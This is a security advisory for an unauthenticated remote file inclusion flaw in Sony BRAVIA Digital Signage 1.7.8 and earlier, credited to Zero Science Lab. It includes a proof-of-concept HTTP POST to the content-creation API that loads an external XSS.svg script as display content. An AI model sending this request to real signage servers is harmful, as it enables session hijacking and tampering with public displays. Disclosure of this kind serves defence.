

# Sony BRAVIA Digital Signage 1.7.8 Unauthenticated Remote File Inclusion

2020.12.04		
Credit: <a href="https://cxsecurity.com/author/LiquidWorm/1/">LiquidWorm (https://cxsecurity.com/author/LiquidWorm/1/)</a>		
Risk: <b>High</b>	Local: No	Remote: Yes
CVE: N/A	CWE: <b>CWE-22</b> ( <a href="https://cxsecurity.com/cwe/CWE-22">https://cxsecurity.com/cwe/CWE-22</a> )	

## Sony BRAVIA Digital Signage 1.7.8 Unauthenticated Remote File Inclusion

Vendor: Sony Electronics Inc.

Product web page: <https://pro-bravia.sony.net>

<https://pro-bravia.sony.net/resources/software/bravia-signage/>

[https://pro.sony/ue\\_US/products/display-software](https://pro.sony/ue_US/products/display-software)

Affected version: <=1.7.8

**Summary:** Sony's BRAVIA Signage is an application to deliver video and still images to Pro BRAVIAs and manage the information via a network. Features include management of displays, power schedule management, content playlists, scheduled delivery management, content interrupt, and more. This cost-effective digital signage management solution is ideal for presenting attractive, informative visual content in retail spaces and hotel reception areas, visitor attractions, educational and corporate environments.

**Desc:** BRAVIA digital signage is vulnerable to a remote file inclusion (RFI) vulnerability by including arbitrary client-side

dynamic scripts (JavaScript, VBScript, HTML) when adding content though the input URL material of type html. This allows hijacking the current session of the user, execute cross-site scripting code or changing the look of the page and content modification on current display.

Tested on: Microsoft Windows Server 2012 R2  
Ubuntu  
NodeJS  
Express

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience

Advisory ID: ZSL-2020-5612

Advisory URL: <https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5612.php>

20.09.2020

--

Request:

-----

POST /api/content-creation?type=create&id=174ace2f9371b4 HTTP/1.1  
Host: 192.168.1.20:8080  
Proxy-Connection: keep-alive  
Content-Length: 468  
Accept: application/json, text/plain, \*/\*  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36  
Content-Type: application/json;charset=UTF-8  
Origin: http://192.168.1.20:8080  
Referer: http://192.168.1.20:8080/test.txt

**Accept-Encoding: gzip, deflate**  
**Accept-Language: en-US,en;q=0.9**  
**Cookie: io=Rs1VZVH6Dc8Ws0n5AAAJ**

```
{
  "material": [
    {
      "name": "http://www.zeroscience.mk/pentest/XSS.svg",
      "type": "html"
    },
    {
      "name": "C:\\fakepath\\Blank.jpg",
      "type": "jpg"
    },
    {
      "name": "",
      "type": "external_input"
    },
    {
      "name": "",
      "type": ""
    }
  ],
  "layout": {
    "name": "assets/images/c4e7e66e.icon_layout_pattern_landscape_003.png",
    "area": 3,
    "direction": "landscape",
    "layouts": [
      {
        "index": 1,
        "width": 960,
        "height": 1080,
        "x": 0,
        "y": 0
      },
      {
        "index": 2,
        "width": 960,
        "height": 540,
        "x": 960,
        "y": 0
      },
      {
        "index": 3,
        "width": 960,
        "height": 540,
        "x": 960,
        "y": 540
      }
    ]
  }
}
```

**See this note in RAW Version** (<https://cxsecurity.com/ascii/WLB-2020120030>)

Post

Vote for this issue:



0



0

50%

50%

### Comment it here.

**Nick (\*)**

Nick

**Email (\*)**

Email

**Video**

Link to Youtube

**Text (\*)**



---

Copyright 2026, cxsecurity.com